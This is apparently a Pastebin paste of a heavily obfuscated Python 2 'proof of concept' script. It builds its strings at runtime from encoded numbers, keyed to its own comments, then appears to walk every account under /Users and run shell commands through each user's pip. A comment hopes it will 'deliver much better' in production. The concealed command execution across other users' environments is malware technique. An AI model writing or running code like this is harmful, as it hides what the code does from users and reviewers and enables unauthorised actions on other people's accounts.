Guest User

Untitled

a guest
Jun 30th, 2020
4,851
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.03 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. (lambda __g: [[[[[[None for __g['s___'] in [('%sibr%sr%s/Python/2.7/bin/pip')]][0] for __g['s__'] in [(['r%squ%ssts'])]][0] for __g['s_'] in [('%ss%ss')]][0] for __g['os'] in [(__import__('os.path', __g, __g))]][0] for __g['base64'] in [(__import__('base64', __g, __g))]][0] for __g['os'] in [(__import__('os', __g, __g))]][0])(globals())
  4.  
  5. # n__ature checking PoC
  6. # TODO: PoCs are great but this thing will
  7. # deliver much better when implemented in
  8. # production
  9.  
  10. (lambda __g: [[[[[None for __g['i_'] in [((1, 4, 12, 17, 22, 31, 38, 45, 58, 2, 7, 4, 4, 8, 6, 6, 12, 7))]][0] for __g['t'] in [((lambda a, i, s: (lambda __l: [__l['s'](__l['a'])[i_[__l['i']]:(i_[__l['i']] + i_[(__l['i'] + (len(i_) / 2))])] for __l['a'], __l['i'], __l['s'] in [(a, i, s)]][0])({})))]][0] for __g['b'] in [((lambda : g(('__b%s%slt%s%ss__' % ('u', 'i', 'i', 'n')))))]][0] for __g['h'] in [((lambda a, b: (lambda __l: [getattr(__l['a'], __l['b']) for __l['a'], __l['b'] in [(a, b)]][0])({})))]][0] for __g['g'] in [((lambda x: (lambda __l: [globals().get(__l['x']) for __l['x'] in [(x)]][0])({})))]][0])(globals())
  11. (lambda __g, __y: [None for __g['v__'], v__.__name__ in [(lambda : (lambda __l: [(lambda __sentinel, __after, __items: __y(lambda __this: lambda: (lambda __i: [[(lambda __after: [__l['y_dent'] for __l['y_dent'] in [((__l['y'] + (' ' * 16))[:16])]][0] if (__l['y'].startswith('S') and __l['n']) else __after())(lambda: __this()) for (__l['y'], __l['n']) in [((__l['x'].replace('#', ' ').strip(), ('#' in __l['x'])))]][0] for __l['x'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())([], lambda: ('K' * 16), iter(__l['strs'])) for __l['strs'] in [(h(b(), 'open')(__file__, 'r').read().split('\n'))]][0])({}), 'v__')]][0])(globals(), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))
  12. _iv = [0x0002, 0x005f, 0x0062, 0x06f6, 0x08fc, 0x0194, 0x072c, 0x0670, 0x0af8, 0x0be5,
  13. 0x05cc, 0x085c, 0x0733, 0x0062, 0x0759, 0x01f4, 0x09dd, 0x0594, 0x026a, 0x0750,
  14. 0x09d8, 0x07de, 0x0a73, 0x0000, 0x0188, 0x018c, 0x08fc, 0x03f2, 0x07f8, 0x0338,
  15. 0x0888, 0x05be, 0x03ba, 0x06b0, 0x0979, 0x0436, 0x0882, 0x0960, 0x0978, 0x01fe,
  16. 0x0a76, 0x0d68, 0x0b7c, 0x0c6c, 0x06b0, 0x054e, 0x0062, 0x00c6, 0x012c, 0x02c3,
  17. 0x0ac2, 0x0670, 0x0820, 0x0be5, 0x07de, 0x0a73, 0x0794, 0x0062, 0x00c6, 0x012c,
  18. 0x0586, 0x07f8, 0x0a76, 0x0b60, 0x041a, 0x091c, 0x099d, 0x000]
  19. def n__(hs):
  20. (lambda __g: [[None for (__g['sd'], __g['rt'], __g['lk']) in [((sum(hs[:2]), [], len(k)))]][0] for __g['k'] in [(v__())]][0])(globals())
  21. (lambda __g: [[[[None for __g['e_____'] in [((lambda a, b, c, d: (lambda __l: [(((__l['a'] + __l['b']) * (__l['c'] + __l['b'])) % __l['d']) for __l['a'], __l['b'], __l['c'], __l['d'] in [(a, b, c, d)]][0])({})))]][0] for __g['e____'] in [((lambda f, _g: (lambda __l: [chr(((__l['_g'] + __l['f'][1]) % 256)) for __l['f'], __l['_g'] in [(f, _g)]][0])({})))]][0] for __g['e___'] in [(range(256))]][0] for __g['e__'] in [(enumerate(hs[2:]))]][0])(globals())
  22. for i, h in e__:
  23. (lambda __g: [[None for __g['kv'] in [((ord(k[(_i % lk)]) * 191))]][0] for __g['_i'] in [(((i + 1) % 11))]][0])(globals())
  24. for x in e___:
  25. if e_____(x, _i, sd, kv) == h: rt.append(x); continue;
  26. return ''.join([e____(hs, _g) for _g in rt]).strip()
  27. if __name__ == '__main__':
  28. s__ = (x % ('e', 'e') for x in s__)
  29. for item in h(g(t(_iv, 0, n__)), t(_iv, 1, n__))(s_ % ('/U', 'er')):
  30. try:
  31. (lambda __g: [[None for __g['p___'] in [(h(h(g(t(_iv, 0, n__)), t(_iv, 2, n__)), t(_iv, 3, n__))(p__, (s___ % ('L', 'a', 'y'))))]][0] for __g['p__'] in [(h(h(g(t(_iv, 0, n__)), t(_iv, 2, n__)), t(_iv, 3, n__))((s_ % ('/U', 'er')), h(h(g(t(_iv, 0, n__)), t(_iv, 2, n__)), t(_iv, 4, n__))(item)))]][0])(globals())
  32. if h(h(g(t(_iv, 0, n__)), t(_iv, 2, n__)), t(_iv, 5, n__))(p___):
  33. for ql in s__:
  34. h(g(t(_iv, 0, n__)), t(_iv, 6, n__))(' '.join((p___, t(_iv, 8, n__), ql)))
  35. except Exception as e: pass
Add Comment
Please, Sign In to add comment